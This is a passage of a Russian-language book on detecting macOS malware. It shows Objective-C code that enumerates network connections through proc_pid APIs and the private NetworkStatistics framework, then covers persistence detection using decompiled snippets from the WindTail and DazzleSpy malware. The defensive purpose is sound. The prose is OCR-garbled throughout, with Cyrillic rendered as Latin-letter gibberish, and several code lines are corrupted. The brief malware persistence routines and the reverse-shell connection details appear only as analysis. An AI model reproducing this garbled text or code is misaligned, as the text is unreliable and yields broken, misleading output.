in_sockinfo. C gpyron ctopoHbl, ons TCP sockets (SOCKINFO_TCP) mbl ncnonbs3yem pri_tcp,
CTPYKTYpY tcp_sockinfo (nuctuHr 4-6).

if(SOCKINFO_IN == socketInfo.psi.soi_kind) {
struct in_sockinfo sockInfo_IN = socketInfo.psi.soi_proto.pri_in;

// Add code to extract information from the UDP socket.

} else if(SOCKINFO_TCP == socketInfo.psi.soi_kind) {
struct tcp_sockinfo sockInfo_TCP = socketInfo.psi.soi_proto.pri_tcp;

// Add code to extract information from the TCP socket.
¥

JTinctur 4-6: N3snevenne UDP munun TCP socket structures

[Nocne Toro kak mbl onpegenunun appropriate structure, nasneyeHne nHgopmauum, Takon Kak local n
remote endpoints ansi socket, B ocHoBHOM oguHakoBo Ansi oboux socket types. U Bce ke UDP sockets
06bI4HO He bound, noaTomy uHopmaums o remote endpoint 6yaeTt goctynHa He Bcerga. Kpome Toro, atu
sockets stateless, Torga kak TCP sockets 0ygyT umets state.

Tenepb NOCMOTPUM Ha Ko 4SS U3BreYeHnsa nHrepecyrowen nHgopmaumnmn ns TCP socket, HaunHas ¢
local n remote ports (MUCTUHT 4-7).

} else if(SOCKINFO_TCP == socketInfo.psi.soi_kind) {
struct tcp_sockinfo sockInfo_TCP = socketInfo.psi.soi_proto.pri_tcp;

details[@"protocol”] = @"TCP";
details[@"localPort"] =
[NSNumber numberWithUnsignedShort:ntohs(sockInfo_TCP.tcpsi_ini.insi_lport)];

details[@"remotePort"] =
[NSNumber numberWithUnsignedShort:ntohs(sockInfo_TCP.tcpsi_ini.insi_fport)];

}

Jlnctnur 4-7: N3eneveHue local n remote ports n3 TCP socket
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Local u remote ports HaxogaTca B members insi_lport n insi_fport cTpykTypbl tcpsi_ini, koTopas
cama sBnsieTcs CTpykTypon in_sockinfo. lMockonbky aTu ports xpaHaTca B network-byte ordering, mbl
npeobpasyem unx B host-byte ordering ¢ nomowybto APl ntohs.

[anee mbl nssnekaem local n remote addresses u3 Ton xe CTpykTypbl tcpsi_ini. To, K kakum structure
members Mbl 06pallaemcsi, 3aBUCUT OT Toro, aBnsatoTca nu addresses IPv4 vnu IPv6. B nuctuHre 4-8 mbl
nssnekaem |IPv4 (AF_INET) addresses.

#import <arpa/inet.h>

if(AF_INET == socketInfo.psi.soi_family) {
char source[INET_ADDRSTRLEN] = {@};
char destination[INET_ADDRSTRLEN] = {0};

inet_ntop(AF_INET,
&(sockInfo TCP.tcpsi_ini.insi_laddr.ina_46.i46a_addr4), source, sizeof(source));

inet_ntop(AF_INET, &(sockInfo_TCP.tcpsi_ini.insi_faddr.ina_46.i46a_addr4),
destination, sizeof(destination));

}
Jluctuhr 4-8: N3eneyenue local n remote IPv4 addresses

Kak nokasaHo B Kofe, Mbl Bbi3biBaeM yHKUMIO inet_ntop, 4Tobbl NpeobpasoBaTh IP addresses B
human-readable strings. Local address HaxoauTca B member insi_laddr, a remote address - B
insi_faddr. Addresses 3agatoT cBoto maximum length ¢ nomoLbo koHCTaHTel INET_ADDRSTRLEN,
KoTopas Takke yunTbiBaeT NULL terminator.

IOnsa IPv6 (AF_INET6) sockets Mbl cHOBa ncnonb3yem yHKLMIO inet_ntop, HO nepenaem en CTPyKTypy
in6_addr (HasBaHHylo ina_6 B cTpyKType in_sockinfo). Takke obpaTtute BHMMaHue, 4YTo output buffers
OOMKHbI UMeTb size INET6_ADDRSTRLEN (nUcTuHr 4-9).

if(AF_INET6 == socketInfo.psi.soi_family) {

char source[INET6_ADDRSTRLEN] = {0};
char destination[INET6_ADDRSTRLEN] = {0};

inet_ntop(AF_INET6,
&(sockInfo_IN.insi_laddr.ina_6), source, sizeof(source));

inet_ntop(AF_INET6,
&(sockInfo_IN.insi_faddr.ina_6), destination, sizeof(destination));

}
JluctuHr 4-9: N3snedeHue local n remote IPv6 addresses

HakoHeu, state TCP connection (closed, listening, established u T. A.) MoXHO HaTM B member
tcpsi_state cTpykTypbl tcp_sockinfo. 3aronoBoyHbii ann sys/proc_info.h onpegenser
BO3MOXHble states cnegytomm obpasom:

#define TSI_S_CLOSED © /* closed */

#tdefine TSI_S_LISTEN 1 /* listening for connection */

#tdefine TSI_S_SYN_SENT 2 /* active, have sent syn */

#tdefine TSI_S_SYN_RECEIVED 3 /* have sent and received syn */
#tdefine TSI_S_ESTABLISHED 4 /* established */

B nuctuHre 4-10 mbl npeobpasyem subset atux numeric values B human-readable strings ¢ nomoLbto
npoctoro statement switch.

switch(sockInfo_TCP.tcpsi_state) {
case TSI_S_CLOSED:
details[@"state"] = @"CLOSED";
break;

case TSI_S_LISTEN:

details[@"state"] = @"LISTEN";
break;
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case TSI_S_ESTABLISHED:
details[@"state"] = @"ESTABLISHED";
break;

}
JInctnr 4-10: MNpeobpasoaHue TCP states (tcpsi_state) B human-readable strings

Tenepb 4TO, ecnu Bbl 3axoTute paspewmntb destination IP address B domain? OguH BapuaHT -
ncnonb3oBaTb APl getaddrinfo, KOTOpPbLIV MOXET BLINONMHUTL 3TO synchronously. OTta dyHKUMSA
obpatutcsa k DNS servers, 4tobbl conoctaBute IP address ¢ domain, noaTomMy, BO3MOXHO, Bbl 3aX0TUTE
BbINOSMTHUTL 3Ty onepaumio B otaensHom thread unu ncnons3oeaTtk ee asynchronous version,
getaddrinfo_a. JluctuHr 4-11 nokaswiBaeT npocTyto helper function, kotopas npuHumaeT IP address kak
CTPOKY char*, a 3aTeM nbiTaeTcs pa3peLumnTb ero B domain n BepHyTb Kak string object.

#import <netdb.h>
#import <sys/socket.h>

NSString* hostForAddress(char* address) {
struct addrinfo* results = NULL;
char hostname[NI_MAXHOST] = {@};
NSString* resolvedName = nil;

if(@ == getaddrinfo(address, NULL, NULL, &results)) {
for(struct addrinfo* r = results; r != NULL; r = r->ai_next) {
if(@ == getnameinfo(r->ai_addr, r->ai_addrlen,
hostname, sizeof(hostname), NULL, 0, 0)) {
resolvedName = [NSString stringWithUTF8String:hostname];
break;

}

if(NULL != results) {
freeaddrinfo(results);

}

return resolvedName;

}
JInctnr 4-11: Paspewerne address B domain

IP addresses moryT paspeluaTbca B Heckonbko hostnames unu BoobLue Hu B oauH. NocneaHuii cnyyam
pacnpocTpaHeH B malware, kotopoe BkntovaeT hardcoded IP address onga csoero remote server, y
KOTOpOro MoxeT He 6biTb domain name entry.

Kop paspelueHus IP address-to-host cHavana Bei3biBaeT oyHkuuio getaddrinfo ¢ nepegaHHbim IP
address. Ecniv 9TOT BbI30B yCrneLleH, OHa BblAenseT U UHMUManu3npyeT CNnMcok cTpykTyp type addrinfo
And ykasaHHoro address, NOCKOJIbKY OTBETOB MOXET ObITb HECKOMNbBbKO. 3aTeM KO HaYMHaEeT NpoxoauTb No
3TOMY CMUCKY, Bbi3blBas (PyHKLMIO getnameinfo anga cTpykTyp addrinfo. Ecnu dyHKkums getnameinfo
ycnewHa, ko npeobpasyeT name B string object n BbIxoguT 13 yukna, XxoTa Mor 6bl NPOSOIKUTL
nTepaumto, 4Tobbl MOCTPOUTL CMNCOK BCeX resolved names.
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3anyck MHCTpyMeHTa

Ckomnunupyem u 3anyctum network enumeration code, HaxoasLWMICS B NPOEKTe
enumerateNetworkConnections, B cucteme, 3apaxeHHon Dummy. Kog paccmaTpuBaeT TOSNIbKO OOUH
npoLiecc 3a pas, N03TOMY Mbl yKasbiBaeM process ID (96202), npuHagnexaiwmin aksemnnspy Python script
Dummy, kak aprymeHT:

% ./enumerateNetworkConnections 96202
Socket details: {

family = "IPv4";

protocol = "TCP";

localPort = 63353;

localIP = "192.168.1.245";

remotePort = 1337;

remoteIP = "185.243.115.230";

resolved = "pttr2.qrizi.com";
state = "ESTABLISHED";
¥

Kak 1 oxunganock, MUHCTPYMEHT CNocobeH nepeuncnuTb coeguHeHe Dummy ¢ command-and-control
server atakytowero. KoHKpeTHO OH nokasbiBaeT nHdopmMaumio 1 o local, n o remote endpoints
coefuHeHus1, a Takke family, protocol n state coeguHeHus.

YTo6bl yNy4lmTb 3TOT koA Ans production, Bbl, BEPOATHO, 3aX0TUTE NEepedncnsaTb Bce network
connections, a He TonbKO connections Ans ogHoOro npoecca, ykasaHHoro nosne3oBaTtenem. Kog MoxHo
Nerko paclmpuTb: CHavana nony4YnTb CrMCOK running processes, a 3aTem NponTy No 3TOMY CrNCKY,
nepeuuncnss network connections kaxgoro npouecca. HanomHto, 4To B rnaee 1 s nokasarn, kak nony4nTb
cnncok process IDs.

NMepeuncnenme network connections

4 oTMeTun, YTO OAMH HEBOMbLLOK HeJOCTaToOK ncnonb3oBaHust APl proc_pid* cocTouT B TOM, 4TO OHU
process specific. IHbiMu cnnoBamu, OHM He BO3BpaLLaloT MHpopmaumto o system-wide network activity.
XOoTs Mbl MOrNK Bbl NIErKO MPONTM MO KaXXaoMy npoLeccy, YTobbl Nony4nTb Gonee WNPOKWIA B3rNsa Ha
network activity cuctemsl, 3akpbiTeii penmaopk NetworkStatistics npegocraBsnsieT 6onee agpheKTMBHbIN
crnocob BbINONHUTL 3Ty 3agady. OH Takke npeanaraet statistics o kaxkgom connection, koTopble MOryT
nomoyb Ham obHapyxuBaTb malware specimens (Hanpumep, Te, yto exfiltrate 6onblwne o6bembl data 13
3apakeHHOW CUCTEMDbI).

B aTtom pasgene mbl Mcnonb3yem 3ToT opernMBOpK, 4Tobbl caenaTb one-time snapshot global network
activity, a B rnaBse 7 3agencTByeM ero ans HenpepbIBHOrO nonyyeHus updates o network activity no mepe
€e BO3HVKHOBEHWSI.

®penmBopk NetworkStatistics nexxut B ocHoBe oTHocuTenbHO ManouasecTHow networking utility,
noctasnsgemon ¢ macOS: nettop. MNpu 3anycke 3 terminal nettop oTobpaxaeT system-wide network
activity, crpynnupoBaHHyto no process. BoT cokpalleHHbI BbIBOA nettop npu 3anycke Ha moem Mac:

% nettop

launchd.1

tcpb *.49152<->* *

Listen

timed.352

udp4 192.168.1.245:123<->usscz2-ntp-001.aaplimg.com:123

WhatsApp Helper.1186

tcp6 2603:800c:2800:641: :cc.54413<->whatsapp-cdn6-shv-01-1lax3.fbcdn.net.443 Established
com.apple.WebKi.78285
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tcp6 2603:800C:2800:641::cc.54863<->1ax17s49-in-x0a.1el00.net.443 Established

tcpd 192.168.1.245:54810<->104.244.42.66:443 Established

tcp4d 192.168.1.245:54805<->104.244.42.129:443 Established

Signal Helper (.8431

tcpd 192.168.1.245:54874<->ac88393aca5853df7.awsglobalaccelerator.com:443 Established
tcpd 192.168.1.245:54415<->ac88393aca5853df7.awsglobalaccelerator.com:443 Established

Mbl MOXXem ucnonb3oBaTb otool, 4ToObI yBUAETH, YTO nettop ncnoneayet dperimBopk NetworkStatistics.
B cTapbix Bepcusax macOS aT1oT openmMBOpK HaxoamTes B /System/Library/PrivateFrameworks/,
TOrfa Kak B HOBbIX Bepcusix oH xpaHutca B dyld shared cache:

% otool -L /usr/bin/nettop

/usr/bin/nettop:

/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation

/usr/lib/libncurses.dylib

/System/Library/PrivateFrameworks/NetworkStatistics.framework/Versions/A/NetworkStatistics
/usr/lib/1libSystem.B.dylib

[aeanite nporpammHo nepeuncnmm system-wide network activity ¢ nomoLbto aToro pperimBopka,
KOTOpbIN MOXET npegocTaBuTb network statistic objects, npeacrasnsowue listening sockets, network
connections u MHoroe apyroe. 'ypy macOS [xoHaTtaH JleBuH nepBbiM 3a40KYMEHTUPOBaN 3TOT NoAX04 B
ceoem command line tool netbottom. [© Kog, npeacTaBneHHbIN B 3TOM pasfgene u B NpoekTe
enumerateNetworkStatistics aTon rmasbl, HaNPsAMYO BOOXHOBIIEH €r0 NPOEKTOM.

JInHkoBka ¢ NetworkStatistics

JTiobas nporpamma, ucnonb3ytoLlas GpenmBopkK, omkHa nmbo ObiTk linked ¢ HUM BO Bpemsa compile time,
nmbo anHammn4veckmn sarpyxaTb ero Bo BpeMsi runtime. B Xcode moxHo gobasuts framework B crivcok Link
Binary with Libraries B pazgene Build Phases (pucyHok 4-2).

General Signing & Capabilities Resource Tags Build Settings Build Phases Build Rules

> Identity

> Deployment Info

+ Frameworks and Libraries

Mame Embed

= NetworkStatistics.framewaork Do Not Embed £

PucyHok 4-2: JlnHkoBka ¢ copenimBopkoM NetworkStatistics

Mockonbky chpenmBopk NetworkStatistics siBnsietcs private, publicly available header file otcyTctByerT,
noaToMy Bam npuaeTcs Bpy4dHyto onpegenutb ero APls n constants. Hanpumep, MOXHO co3gatb
ak3emnnsap network statistic manager ¢ nomowbto APl NStatManagerCreate, HO CHayana Hy>XHO
onpegenutb 370T API, kak nokasaHo B NUCTUHre 4-12.

NStatManagerRef NStatManagerCreate(
const struct _ CFAllocator*, dispatch_queue_t, void (”)(void*, int));

JInctnHr 4-12: Function definition gna private APl NStatManagerCreate

AHanornyHo Hy>xHo onpeaenntb Bce constants, Hanpumep keys B dictionary, koTopble onucbiBatoT
Kaxxabii network statistic object. Hanpumep, nuctunr 4-13 nokasbiBaeT, Kak onpeaenntb
kNStatSrcKeyPID, key, cogepxawun ID npouecca, oTBevatoLero 3a paccmatpusaemoe network
connection.
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extern CFStringRef kNStatSrcKeyPID;
JluctnHr 4-13: Definition private constant kNStatSrcKeyPID

Bce function n constant definitions cm. B header file npoekta enumerateNetworkStatistics aTon rnasbi.

Co3paaHue network statistic managers

Tenepsb, koraa mbl linked ¢ dpenmeopkom NetworkStatistics u onpegenunu Heobxogumblie APIs 1
constants, nopa HanucaTe HeMHoro koga. B nuctuHre 4-14 mbl cosgaem network statistic manager yepes
API NStatManagerCreate. OTOT manager aBnseTcda opaque object, required anga nocneayroLnX BbI3OBOB
NetworkStatistics API.

MepBbiM napameTpom APl NStatManagerCreate npuHumaeT memory allocator. 3gecb Mbl MCNONbL3yemM

default allocator, kCFAllocatorDefault. Btopor napametp - dispatch queue, raoe mbl 6yaem BbIMONHATb
callback block, ykasaHHbIV B TpeTbeM aprymeHTe. S pekoMmeHayo ncnons3osatb custom dispatch queue,
a He dispatch queue main thread, 4ToObl He NeperpyxaTtb U NOTEHLManbLHO He BrnokMpoBaTbk Main thread.

dispatch_queue_t queue = dispatch_queue_create("queue"”, NULL);

NStatManagerRef manager = NStatManagerCreate(kCFAllocatorDefault, queue,
~(NStatSourceRef source, int unknown) {
// Add code here to complete the implementation.

s
JluctnHr 4-14: NMnuyunanusauyua network statistic manager

Mocne nHnumanuaaumm dispatch queue mbl BeidbiBaem NStatManagerCreate, 4Tobbl co3gaTte manager
object. NocnegHnii napameTp atoro API - callback block, koTopbIi hpenMBOPK BbIZOBET BO BpeMs query.
OH npuHumaeT ABa apryMeHTa: o6bekT NStatSourceRef, npegcrtasnstowmn network statistic, u integer,
3HaYeHme KOTOPOro HEN3BECTHO (HO, MOXOXeE, TaKKe HE UMEET OTHOLLEHMS K Hallemy koay). B
cnepyowem pasgerne s 06bSCHI0, Kak n3BnekaTb UHTepecytowwyto network information, koraa doperimBopk
BbI3blBaeT 370T callback.

OnpepeneHue callback logic

®penmBopk aBToMaTu4ecku Bbl3oBeT callback block NStatManagerCreate, Korga Mbl 3anyctum query ¢
nomoubto APl NStatManagerQueryAllSourcesDescriptions, KOTOpbIN BCkope 06cyanM. YTobbl
nasneydb nHopmaumio n3 kaxxgoro network statistic object, nepeganHoro B callback block, Mbl Bbl3biBaem
API NStatSourceSetDescriptionBlock, 4Tobbl yka3atb ewe oaumH callback block. BoT definition aTtoi
dyHKUUK:

void NStatSourceSetDescriptionBlock(NStatSourceRef arg, void (~)(NSMutableDictionary*));

Mbl BbI3bIBaeM 3Ty pyHKLMIO ¢ 00bekTOM NStatSourceRef u callback block, koTopbii hpenmMmBopk
BbI30BET aCMHXPOHHO ¢ dictionary, cogepxxawum nHdopmauuio o network statistic object (nuctuHr 4-15).

NStatManagerRef = NStatManagerCreate(kCFAllocatorDefault, queue,
~(NStatSourceRef source, int unknown) {
NStatSourceSetDescriptionBlock(source, ~(NSMutableDictionary* description) {
printf("%s\n", description.description.UTF8String);
1
1

JInctunr 4-15: YctaHoBka description callback block
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B TekyLlem Buae kof, He BbIMOSIHAT HUKaKOW onepauun, noka Mbl He 3anycTtum query. [Nocne 3anycka
query OH BbI30BeT 3TOT block; noka 4to Mbl npocTo neyaTtaem dictionary, onuckiBatoLmi network statistic
object.

3anyck queries

Mepepn 3anyckom query Mbl AOMKHbI COOOLWNTL bpenmMBOPKyY, kakas network statistics Hac nHTepecyer.
[Ons statistics 060 Bcex TCP n UDP network sockets n connections Mbl Bbi3biBaeM OyHKLMM
NStatManagerAddAl11TCP n NStatManagerAddA11UDP cooTBeTCTBEHHO. Kak BUAHO B nUCTUHre 4-16, obe
npuHumatoT network statistic manager (koTopbI Mbl paHee co3ganu) Kak eQUHCTBEHHbIV apryMeHT.

NStatManagerAddA11TCP(manager);
NStatManagerAddA11UDP(manager);

JInctuHr 4-16: Query gns statistics o TCP n UDP network events

Tenepb Mbl MOXeM 3anyCcTUTb query Yyepes3 dyHKuuio NStatManagerQueryAllSourcesDescriptions
(nmMCTuHr 4-17).

dispatch_semaphore_t semaphore = dispatch_semaphore_create(0);

NStatManagerQueryAllSourcesDescriptions(manager, ~{
dispatch_semaphore_signal(semaphore);

s

dispatch_semaphore_wait(semaphore, DISPATCH_TIME_FOREVER);
NStatManagerDestroy(manager);

INuctuHr 4-17: Query Bcex network sources

Kak Tonbko Mbl Bbi3biBaeM dyHKUMIO NStatManagerQueryAllSourcesDescriptions, network statistic
query HaumHaeTcs, Bbi3biBas callback block, koTopbin Mbl ycTaHoBUAM Ang kaxaoro network statistic
object, yTobbI NpegocTaBuTL comprehensive snapshot TekyLero CocTosHNs ceTu.

dyHKkumA NStatManagerQueryAllSourcesDescriptions npuHumaet network statistic manager n ewwe
oavH callback block, koTopbIn HYXHO BbI3BaTh, Korga network query 3aBepwuntcs. B aTol peanusaumm Hac
UHTepecyeT one-time snapshot ceTu, N0O3TOMy Mbl CUrHanM3npyem semaphore, Ha KOTOpPOM oXugaeT main
thread. Korga query 3aBepLuaeTtcs, Mbl ounwiaem network statistic manager ¢ nomoulbo gyHKUMK
NStatManagerDestroy.

3anycK UHCTPYMeHTa

Ecnn mbl ckomnunupyem u 3anycTum 3TOT Ko, OH nepedncnuT Bce network connections u listening
sockets, Bkntoyas remote shell connection Dummy:

% ./enumerateNetworkStatistics

{
TCPState = Established;

ifWiFi = 1;

interface = 12;

localAddress = {length = 16, bytes = 0x1002c7f9c0a801f50000000000000000} ;
processID = 96202;
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processName = Python;
provider = TCP;

remoteAddress = {length = 16, bytes = 0x10020539b9f373e60000000000000000} ;
¥

Local address (kNStatSrcKeyLocal) n remote address (kNStatSrcKeyRemote) xpaHATCA B 06beKTax
NSData, cogepxawux cTpykTypbl sockaddr_in unu sockaddr_in6. Ecnu Bbl XO0TUTe npeobpa3oBaTth UX B
printable strings, Hy>xHO BbI3BaTb routines Bpoae inet_ntop. JIucTuHr 4-18 nokasbiBaeT Ko A51s 3TOro.

NSString* convertAddress(NSData* data) {
in_port_t port = 0;
char address[INET6_ADDRSTRLEN] = {@};
struct sockaddr_in* ipv4 = NULL;
struct sockaddr_in6* ipv6 = NULL;

if(AF_INET == ((struct sockaddr*)data.bytes)->sa_family) {
ipv4 = (struct sockaddr_in*)data.bytes;
port = ntohs(ipv4->sin_port);
inet_ntop(AF_INET, (const void*)&ipv4->sin_addr, address, INET_ADDRSTRLEN);
} else if (AF_INET6 == ((struct sockaddr*)data.bytes)->sa_family) {
ipv6 = (struct sockaddr_in6*)data.bytes;
port = ntohs(ipv6->sin6_port);
inet_ntop(AF_INET6, (const void*)&ipv6->sin6_addr, address, INET6_ADDRSTRLEN);

}

return [NSString stringWithFormat:@"%s:%hu", address, port];

NStatManagerRef = NStatManagerCreate(kCFAllocatorDefault, queue,
~(NStatSourceRef source, int unknown) {
NStatSourceSetDescriptionBlock(source, ~(NSMutableDictionary* description) {
NSData* source = description[(__bridge NSString*)kNStatSrcKeyLocall];
NSData* destination = description[(__bridge NSString*)kNStatSrcKeyRemote];

printf("%s\n", description.description.UTF8String);
printf("%s -> %s\n",
convertAddress(source) .UTF8String, convertAddress(destination).UTF8String);
1
1

JInctunr 4-18: MNMpeobpasoBaHue data object B human-readable address n port

OTa npocrtas helper function npnHMmaeT network statistic address, a 3atem nsenekaet n gpopmaTupyet
port n IP address kak gns IPv4, Tak n gnsa IPv6 addresses. 3aeck oHa nevaTtaeT oba endpoints, source u
destination, yToGbI NpegocTaBuTb 6onee readable output. B kayecTBe npumepa criegytoLmi output
oTobparaeT statistics o reverse shell Dummy:

% ./enumerateNetworkStatistics

{
TCPState = Established;

ifWiFi = 1;

interface = 12;

localAddress = 192.168.1.245:63353
processID = 96202;

processName = Python;

provider = TCP;

remoteAddress = 185.243.115.230:1337
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XoTsa 39TO He Noka3aHo B cokpalleHHoM output, network statistic dictionary Takke cogepxuTt keys
kNStatSrcKeyTxBytes n kNStatSrcKeyRxBytes, KOTOpble cogepxaTt konmyecTtso bytes uploaded n
downloaded cooTBeTCTBEHHO. JIMCTMHT 4-19 nokasbiBaeT, kKak MOXHO MporpaMMHO M3BneYb atu traffic
statistics kak unsigned long integers.

NStatSourceSetDescriptionBlock(source, ~(NSMutableDictionary* description) {

unsigned long bytesUp =
[description[(__bridge NSString *)kNStatSrcKeyTxBytes] unsignedLongValue];

unsigned long bytesDown =
[description[(__bridge NSString *)kNStatSrcKeyRxBytes] unsignedLongValue];

s
JTnctnur 4-19: N3Bneyvenue traffic statistics

OTn gaHHbIe MOryT NoMoYdb HaMm NoHATk traffic trends. Hanpumep, connection ¢ 6onbwunm KONMYeCTBOM
uploaded bytes, cBazaHHoe ¢ unknown process, MOXeT packpbiTb malware, exfiltrating 6onbLio o6bem
data Ha remote server.

3aknroyeHue

BonblMHCTBO malware B3auMOAENCTBYET C CETbH, NPeAOCTaBNAss HAM BO3MOXHOCTb CTPOUTbL MOLLHbIE
heuristics. B aTon rnaee s1 npeagctasun gga metoga NporpaMMHOro NepeYvncrieHnst COCTOSIHUS CeTU U
nocreayLLero CBA3bIBaHNS 3TOr0 COCTOSHUSA C OTBETCTBEHHbIMU NpoLieccamu. Bo3aMOXHOCTb
onpegenuTb npouecc, oTBevarowun 3a listening socket nnu established connection, Heobxognma gns
TOYHOro obHapyXxeHust malware n iBnseTcs ogHMM M3 rmaBHbIX NpenmMyLlects host-based approaches
nepea network-centric ones.

o cux nop mbl cTpounu heuristics Ha ocHoBe MHOpPMaLMK, NONYYEHHOW U3 processes (B rnase 1),
binaries (B rmaee 2), code signing (B rmase 3) un network (B aToi rmaee). Ho onepaunoHHas cuctema
npegocTtasnseT u apyrue sources of detection. B cneaytoLlen rmase Bbl MOrpy3nTech B 06HapyxeHue
persistence techniques.
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naBa 5. 3akpensneHue B cucteme

Moxanym, oanH 13 Ny4wmnx cnocodosB obHapyxuaTe malicious threats Ha macOS - cocpeaoToUMTbLCS Ha
persistence. 3aech persistence o3HavaeT cpefcTBa, C NOMOLLBIO KOTOpbIX software, Bkrtoyas malware,
ycTaHaBnmBaeT cebs B cucteme, YTobbl aBTOMaTUYECKM MOBTOPHO 3anyckaTbes npu startup, user login
unu kakom-nnbo apyrom deterministic event. lHaue oHo MoxeT Bonblue HUKorga He BbINOMHUTLCS, ECIU
nonb3oBaTenb BbINOET U3 CUCTEMBI UMM CUCTEMA nepes3arpysnTcs. B aTor rmaee g cocpefoTovychb
UCKIMIOYUTENBHO Ha nepeuuncnennn persistent items. B yactu I, rge 9 paccmatpusato nogxoasl,
nossonstoLlme HabnogaTtb events No Mepe Ux BO3HUKHOBEHWS!, 1 00Cyato, kak ucnons3oBaTb Apple
Endpoint Security ans moHuTopuHra persistence events.

Kak obLas xapaktepuctumka bonblnHCTBa malware, persistence cnyxut HagexHbim detection
mechanism, cnocobHbIM packpbITb 60MbLWMHCTBO infections. Ha macOS malware o6bI4HO persists ogHUM
13 AByx cnocoboB: kak launch items (daemons unu agents) nnbo kak login items. B aTol rnaBe A nokaxy,
Kak MMEHHO nepeymncrnaTb Takue items, 4Tobbl packpbiTb NovTn Nobor obpasey, Mac malware.

PasymeeTcs, He Bce macOS malware persists. Hanpumep, ransomware, kotopoe encrypts user files, nnu
stealers, koTopble 3axBaTbIBalOT U exfiltrate sensitive user data, yacTo He Hy>xgalOTCsi B MHOTOKPaTHOM
3anycke 1 NO3TOMy pefKo ycTaHaBnmBatoT cebs persistently.

C Opyroi CTOpOHbI, NEMMTUMHBIE MPOrPaMMbl, pacCHMTaHHbIE HA HENPEPLIBHYIO paboTy, Takme Kak
auto-updaters, security tools unu gaxe npoctele helper utilities, Toxxe o6bI4HO persist. [loaTomy cam dakT,
4yTO YTO-TO persistently installed, He o3HavaeT, 4TO Hawl KOA OOMMKEH NOMETUTL 3TO Kak malicious.

NMpumepsl persistent malware

MockonbKy aTa rnaea NOCBSLEHa packpbITUO malware, KoTopoe persists nmbo kak login item, nubo kak
launch item, Ha4uHeM ¢ KOpOTKOro NpuMepa Kaxaoro BapuaHTa. IsHavyaneHO packpbiToe uccrnegoBsarenem
Taha Karim, malware WindTail 6b1n0 HanpaBneHo Ha coTpyaHUKOB government u critical infrastructure Ha
BrvkHem BocToke. [ B noapo6Ho nccrnegoBaTenbckon paboTe 2l g OTMeTUn, 4To malware, KoTopoe
Yyacto mackupyetcs nog PowerPoint presentation ¢ umeHem Final_Presentation, persists itself kak login
item, 4TOObI aBTOMAaTMYECKM MOBTOPHO BLIMOMHATLCS KaxKabI pas, koraa nonb3oBaTenb BXOAWUT B
cuctemy. B application bundle malware mbl Haxogum ero main binary, dann ¢ umeHem usrnode.
Jekomnunaums atoro canna packpbiBaeT persistence logic B Hauane ero gyHkumm main:

int main(int argc, const char* argv[])

rl2 = [NSURL fileURLWithPath:NSBundle.mainBundle.bundlePath];

rbx = LSSharedFileListCreate(0x0, _kLSSharedFileListSessionLoginItems, 0x0);
LSSharedFileListInsertItemURL(rbx, _kLSSharedFilelListItemLast, 0x0, 0x0, rl2, 0x0, 0x0);

lNocne Toro kak malware onpegenseT, OTKyAa OHO BbINOMHAETCA Ha host, OHO BbI3biBaeT pyHKUMN
LSSharedFilelListCreate n LSSharedFilelListInsertItemURL, 4ToObl ycTaHOBUTL ce0s Kak persistent
login item. 310T login item genaeT malware BuaMMbIM Ha naHenu Login Items npunoxeHus System
Preferences (pucyHok 5-1). OueBngHo, aBTOpbl malware counm 3To NpMemMnemMbiM KOMNPOMUCCOM paaun
persistence.
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Users & Groups

Password Login Items

These items will open automatically when you log in:

[tern Kind
Final_Presentation Application
€D iTunesHelper Application

PucyHok 5-1: WindTail sakpennseTtcs kak login item ¢ umeHem Final_Presentation

PaccmoTtpum elle oamH persistent macOS malware specimen. HassaHHoe DazzleSpy, aT1o sophisticated
nation-state malware ncnonb3oano zero-day vulnerabilities, 4ToObl yganeHHo 3apaxaTb Nonb3oBaTenen
macOS. B! Xots infection vector DazzleSpy cosgasan detection challenges, nogxog malware k
persistence Obin 4OBONBLHO 04eBMAHBLIM, AaBas defenders npsamon cnocob oGHapyXuTb ero.

Mocne nony4deHus initial code execution n Beixoga 13 browser sandbox DazzleSpy persisted itself kak
launch agent, mackupoBaBLmiicsa nog Apple software updater. Yto6bl persist kak launch agent, item
0o6bl4HO co3paeT property list B ogHom u3 katanoroB LaunchAgents. DazzleSpy cosgaet property list B
KaTanore TekyLiero nons3osatend Library/LaunchAgents v HasbiBaeT cBon property list
com.apple.softwareupdate.plist. Binary malware hardcodes references Ha katanor launch agent, a
Takke Ha nwvs plist, n3-3a 4ero oHn nerko BMAHbI B output koMaHabl strings:

% strings - DazzleSpy/softwareupdate

%@/Library/LaunchAgents
/com.apple.softwareupdate.plist

Ecnn 3arpysutb malware B decompiler, mbl Hangem class method ¢ umeHem installDaemon, KOTOpbIA
ncnonb3yeT aTu strings. Kak crnegyet n3 umeHu, metog oyaet persistently install malware (xoTa u He kak
launch daemon, a kak agent):

+(void)installDaemon {
rax = NSHomeDirectory();

var_78 [NSString stringWithFormat:@"%@/Library/LaunchAgents”, rax];
var_80 = [var_78 stringByAppendingFormat:@"/com.apple.softwareupdate.plist"];

var_90 = [[NSMutableDictionary alloc] init];
var_98 = [[NSMutableArray alloc] init];

rax = @(YES);

[var_90 setObject:rax forKey:@"RunAtLoad"];

[var_90 setObject:@"com.apple.softwareupdate” forKey:@"Label"];
[var_90 setObject:var_98 forKey:@"ProgramArguments"];

[var_90 writeToFile:var_80 atomically:0x0];

}

M3 aton decompilation BuaHo, 4To malware cHavyana gnHamumyeckn ctpouT path K katanory TekyLiero
nonb3oBaTtens Library/LaunchAgents, a 3ateMm gobaBnsieT k Hemy string
com.apple.softwareupdate.plist. 3arem oHo cTpouT dictionary ¢ keys Bpoae RunAtLoad, Label u
ProgramArguments, Yok values onncbiBatoT, Kak restart persisted item, kak ngeHTUdULMpPOBaTL €ro U rge
HaxoauTcs ero path. Ytobbl 3aBepLumnTh persistence, malware 3anuceiBaeT a1oT dictionary B property list
file B kaTanore launch agent.
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BbinonHme malware Ha nsonupoBaHHON analysis machine nog npuctansHbiM HabnogeHnem file monitor,
Mbl MOXeM noareepanTb persistence DazzleSpy. Kak n oxumganocs, file monitor nokaseiBaeT, 4to binary
(softwareupdate) cosgaet cBown property list file B katanore LaunchAgents TekyLiero nonb3oBaTens:

# FileMonitor.app/Contents/MacOS/FileMonitor -pretty

%..

"event" : "ES_EVENT_TYPE_NOTIFY_CREATE",

"file" : {

"destination" : "/Users/User/Library/LaunchAgents/com.apple.softwareupdate.plist”,
"process" : {

"pid" : 1469,

"name" : "softwareupdate",

"path" : "/Users/User/Desktop/softwareupdate”

}

¥

¥

3arem, nsy4ume cogepxmmoe atoro newly created file, Mbl MoXkem HanTh path, no kotopomy malware
